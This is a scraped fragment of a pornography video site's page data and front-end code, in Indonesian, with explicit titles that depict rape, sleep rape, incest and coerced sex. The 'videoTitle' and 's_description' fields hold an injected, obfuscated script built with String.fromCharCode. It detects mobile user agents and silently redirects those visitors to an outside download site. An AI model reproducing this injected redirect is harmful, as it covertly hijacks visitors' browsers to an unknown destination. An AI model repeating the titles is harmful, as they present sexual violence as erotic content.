Klub Pemerkosaan Istri Saat Tidur - 4 Anggota - [Seks Oral Kejam] [Tanpa Kondom] [Koreksi Acak Reiwa] Semua Anggota Ejakulasi Saat Tidur - Klan Delusional","site_id":0,"video_url":"https://2605.v155p.com/20260627/aM5SHpxF/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvMzA0NGYxNGYyMzg2ZTljNDI4YzFiZWRkNjFmNDZhZDguanBn.cache","duration":"03:10:00","actor":[],"lastmod":1783766805,"rating":"8.0","view_count":323,"description":"Klub Pemerkosaan Tidur Wanita Menikah - 4 Anggota - [Seks Oral Kejam] [Tanpa Kondom] [Koreksi Acak Era Reiwa] Semua Anggota Ejakulasi Saat Pemerkosaan Tidur Gunung dan Langit - Klan Delusi","tag":["istri","Tidur dengan pemerkosaan","klub","kejam","seks oral","Tanpa kondom","Reiwa","koreksi","Semua","Injeksi","tidur","Pemerkosaan saat tidur","Khayalan","Orang-orang yang mengalami delusi"],"site_url":"178198","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["SM调教"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvMzA0NGYxNGYyMzg2ZTljNDI4YzFiZWRkNjFmNDZhZDguanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"人妻睡奸俱乐部-4名- 【无情口交】【无套】【令和的随意矫正】全员内射 睡眠奸 山と空-妄想族","s_keywords":"人妻睡奸俱乐部-4名- 【无情口交】【无套】【令和的随意矫正】全员内射 睡眠奸 山と空-妄想族","s_description":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Klub Pemerkosaan Istri Saat Tidur - 4 Anggota - [Seks Oral Kejam] [Tanpa Kondom] [Koreksi Acak Reiwa] Semua Anggota Ejakulasi Saat Tidur - Klan Delusional","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGQ2OWM2MDM2OTczOTIzY2EzNTdkNDUzMWU0OTc2NDcuanBn.cache","vod_id":18979272,"title":"Pesona seorang wanita yang sangat cantik terpampang jelas saat ia berhubungan seks dengan pacarnya, yang memiliki penis berbentuk bola baja raksasa dan tato. Ia melakukan seks oral pada penis besar pacarnya, terlihat sangat murahan. Berbagai mainan digunakan untuk merusak vaginanya, menghasilkan orgasme yang penuh gairah dan tanpa henti.","lastmod":"2025-12-14","duration":"01:00:22","url":"/play/18979272.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZGNlMmZlNTU2YWVlYTNlOWZjZjBjNzE2YWRmNjE5YWMuanBn.cache","vod_id":19147654,"title":"Puting keras, orgasme terus-menerus!! Hari pembebasan seksual bulanan seorang ibu rumah tangga yang frustrasi secara seksual dan suka berganti pasangan. Ayase Mana BONY-180","lastmod":"2026-03-11","duration":"02:20:15","url":"/play/19147654.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MjAvNWViNTAyMmZjODVlMWVhMjM3Zjg1NTZhZjdjMjM5NTQuanBn.cache","vod_id":19048047,"title":"Laporan daring mengungkap skandal seks oral Uniqlo tahun 2019; ratu kecantikan papan atas Universitas Jiangnan berlutut dan menjilat seorang pria di ruang ganti pusat perbelanjaan.","lastmod":"2025-08-19","duration":"06:06","url":"/play/19048047.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMmVmOWFjN2MwOTYzMTZlZWYyMmMxZGI0NjRjMjgwNjAuanBn.cache","vod_id":19009828,"title":"MCSR364 (HD) Perselingkuhan Wanita yang Sudah Menikah - Rina Otomi [Disensor, Definisi Tinggi, Subtitel Bahasa Mandarin]","lastmod":"2025-03-24","duration":"02:09:41","url":"/play/19009828.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODQxMTk2YzNlNDM2MDAyNDdiNTlkNjNmNTY4OWEwYzkuanBn.cache","vod_id":18990723,"title":"DASD-599 (HD) Saat saya pergi dalam perjalanan bisnis selama tiga hari, pacar saya yang berbulu dan berdada besar diperkosa oleh ayahnya yang berejakulasi di dalam dirinya. [HD yang disensor dengan subtitle bahasa Mandarin]","lastmod":"2025-12-14","duration":"02:00:30","url":"/play/18990723.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmQ5NDIyZjdhZWQyOTIxM2Q5NDU3Njc0MDg0OGY5YTMuanBn.cache","vod_id":18988879,"title":"396BIG-055 Tidur.","lastmod":"2025-12-14","duration":"52:15","url":"/play/18988879.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MzAvYmY3NTE1MDk4M2ZlYmU5YWFiNjY2MjFiMDYwOTYwYTIuanBn.cache","vod_id":19055262,"title":"Rahasia tersembunyi: Wanita dewasa, seks tanpa perlindungan, Ryougo berusia 30 tahun, Matsushita Hikari, Akabane Ayumi SW138","lastmod":"2025-09-29","duration":"03:15:36","url":"/play/19055262.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MDkvNTE1NmUwY2E2MzEyMTJjNzdjMWUyNGM5Y2JhYzIxNTkuanBn.cache","vod_id":19046124,"title":"PFAS032 Pertukaran Pasangan Reiwa, Pertukaran Wanita Menikah, Aliansi Pertukaran Saudari","lastmod":"2025-08-08","duration":"01:35:27","url":"/play/19046124.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTZiMmNkYWUyMzMyMTM2MTg4MTE3MmNmNjZiYjc2NDIuanBn.cache","vod_id":18997417,"title":"[Kue Buah] Seorang wanita yang sudah menikah berselingkuh dengan seorang kenalan lama, mencuri cinta sahabatnya, dan kehilangan kebahagiaan istrinya.","lastmod":"2025-03-23","duration":"10:06","url":"/play/18997417.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDRjZDQ0NWEyYTk2NGY0YjA4OTliMjc2ODgxMTk4YjMuanBn.cache","vod_id":18949107,"title":"Wanita muda berpayudara besar mengenakan stoking hitam, wajah terbuka sepenuhnya, penampilan mewah, bokong seksi seperti buah persik, vagina putih mulus seperti harimau, membiarkan kakak laki-lakinya memperkosanya dengan berbagai cara, seks oral, alat bantu penis besar, berbagai posisi penetrasi.","lastmod":"2025-12-14","duration":"01:31:13","url":"/play/18949107.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzA5OTYyYWE4MWM4ZWFkYTFiYTE1MWRlMDBiM2JiODYuanBn.cache","vod_id":19001469,"title":"JUY-597 Seorang wanita yang sudah menikah terobsesi menjilat penis dan sangat menginginkan penis besar dan ereksi milik anggota klub rugby di asrama mahasiswa. (Miura Eriko)","lastmod":"2025-03-23","duration":"02:26:55","url":"/play/19001469.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZmE2MTMzOWRlMDc1NWZmY2E4YWFhMzRhYmI1YzI3MjEuanBn.cache","vod_id":18931058,"title":"Gadis tercantik dan terlembut dengan rambut terurai, Si Cantik Peri Air, tampil perdana di Shanghai dan berhubungan seks dengan para penggemarnya. Ia mengenakan stoking hitam, memiliki payudara yang indah, dan tanpa pengaman. Ia disetubuhi dengan intens dengan tiga lubang terbuka, menelan air mani pria itu – sungguh menggairahkan!","lastmod":"2025-12-14","duration":"01:17:45","url":"/play/18931058.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMDhlNjQ4NDQ0MjJlYjRkNmFlNTk1YTVlNTE5M2MzOWYuanBn.cache","vod_id":19155577,"title":"Dewi pendamping yang kejam, manis, dan cantik, puncak kecantikan, menantang dirinya sendiri untuk tampil dalam tampilan ultra-dekat untuk pertama kalinya.","lastmod":"2026-04-28","duration":"48:53","url":"/play/19155577.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYWU3ZTVjNTNmN2IwNzIxOThmY2U4MTUyNmJhYjRmY2IuanBn.cache","vod_id":19009795,"title":"MEKO153: Video 08 seorang wanita menikah yang datang untuk pekerjaan model gambar telanjang dengan bayaran tinggi, hamil akibat penetrasi penis.","lastmod":"2025-03-24","duration":"02:12:57","url":"/play/19009795.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzU1OGMxMzY3YTMzYjBjMTZkNWZiMjdjOWE4MzUyMGUuanBn.cache","vod_id":18984157,"title":"FC2PPV 3741510 [Pemotretan Pribadi/Paket Penjualan] Seorang istri dewasa yang tidak ingin kehilangan kehidupan sehari-harinya saat ini, tetapi juga ingin bahagia sebagai seorang wanita - Versi Lengkap","lastmod":"2025-03-23","duration":"01:15:05","url":"/play/18984157.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjBiYmQyYWQwNjQ4ZDM5NzI0MWQ0ZTlkOTM0M2ZlNzMuanBn.cache","vod_id":18999612,"title":"Penetrasi tanpa pengaman pada wanita asing berpayudara besar","lastmod":"2025-03-23","duration":"01:50:13","url":"/play/18999612.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTc0OTZiOWVkOTk4YjgzYzg4ZTllMTM1ZTFlYjU1ZTYuanBn.cache","vod_id":18956424,"title":"Sepasang kekasih muda yang tampan bercinta; sang pacar dengan penis besar berejakulasi tanpa kondom; sang wanita memiliki tubuh yang bagus, payudara besar, dan lubang vagina yang kecil dan berwarna merah muda; sang pacar mengeluarkan penisnya dan berejakulasi di seluruh wajah wanita itu. File asli definisi tinggi.","lastmod":"2025-12-14","duration":"00:06:25","url":"/play/18956424.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMmE0OTJlOGU2ZjAyYTgzZjBkNzE0MTRiMzBlOTg1MTEuanBn.cache","vod_id":19154558,"title":"Seorang perawat wanita merayu pasien dengan penis besar menggunakan kata-kata cabul dan langsung melakukan seks oral untuk membantu ejakulasi; dia menjilat penis pasien tersebut sebanyak 20 kali. (Ini diambil dari video MOODYZ yang menampilkan Ruisa Tozuki.)","lastmod":"2026-04-22","duration":"02:37:18","url":"/play/19154558.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMDMvNTQ3ZjYzZDYzZmYwMThiOGUwZGVkMWFkNTVlMWJhMmYuanBn.cache","vod_id":19060898,"title":"Aturan tak tertulis industri pemandu sorak: manajer berejakulasi di dalam anggota tim - Tangtang - Madou situs web menonton video gratis","lastmod":"2025-11-02","duration":"25:06","url":"/play/19060898.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTkwYmM5MTVhNWRlM2U0MWJkMjFjNTI0ZDU0NGQyMGUuanBn.cache","vod_id":19025276,"title":"SSNI443 Aku dipaksa dan diperkosa oleh pamanku dari pagi sampai malam... ~Ibu rumah tangga berpayudara besar mengenakan kemeja basah~ Okuda Saki.","lastmod":"2025-03-24","duration":"01:58:38","url":"/play/19025276.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDE3MjQ3OWQzOGU2MDJkNjE2MTY0YjVlYzA4MGYwY2EuanBn.cache","vod_id":18978018,"title":"MKMP-510 Teman masa kecilku adalah ahli seks oral alami; dia menjilat dari ujung jariku ke putingku, lalu ke penisku… Satsuki Ena","lastmod":"2025-12-14","duration":"02:06:39","url":"/play/18978018.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjFmMTMxYTAxNDYyYzlmNDJiMWUxYmU0YjljOTI0NDQuanBn.cache","vod_id":18960159,"title":"Hubungan inses antara kakak dan ipar perempuan itu menjadi tegang. Adik laki-laki, seorang ahli rayuan, menggunakan kata-kata manis untuk merayu ipar perempuannya yang menggunakan IUD. Tanpa takut hamil, ia berejakulasi di dalam dirinya tanpa kondom – rasanya sangat nikmat! Ia mengalami pengalaman pertama dengan ipar perempuannya, hubungan seks brutal yang berlangsung setengah jam, dan ipar perempuannya berejakulasi di dalam vaginanya.","lastmod":"2025-12-14","duration":"00:21:12","url":"/play/18960159.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMGUyYWVjMzlmMmYwZDMxNDZhNmUyZTc0ZWVkYWIzNWUuanBn.cache","vod_id":18950296,"title":"Seorang wanita muda genit dengan stoking terbuka dan pakaian minim merayu seorang pria tua di luar ruangan untuk berhubungan seks yang penuh gairah. Dia memperlihatkan wajahnya, melakukan seks oral pada penis besar pria itu, dan kemudian membiarkan pria itu menembusnya dari belakang, dengan gerakan menghentak dan memukul. Payudaranya bergoyang liar saat dia buang air kecil sambil menyentuh alat kelaminnya.","lastmod":"2025-12-14","duration":"00:33:20","url":"/play/18950296.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjkzOWUwYTJiMmFkNWVkNTgwNWJjZDFhNDQ0ZmFiYmIuanBn.cache","vod_id":18990211,"title":"HONB-167 [Seks Berkelompok] Video seorang wanita muda kulit hitam masokis diperkosa beramai-ramai - Klub pelatihan menelan sperma (inses)","lastmod":"2025-12-14","duration":"01:50:15","url":"/play/18990211.html"}]},
videoTitle: '</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Klub Pemerkosaan Istri Saat Tidur - 4 Anggota - [Seks Oral Kejam] [Tanpa Kondom] [Koreksi Acak Reiwa] Semua Anggota Ejakulasi Saat Tidur - Klan Delusional',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}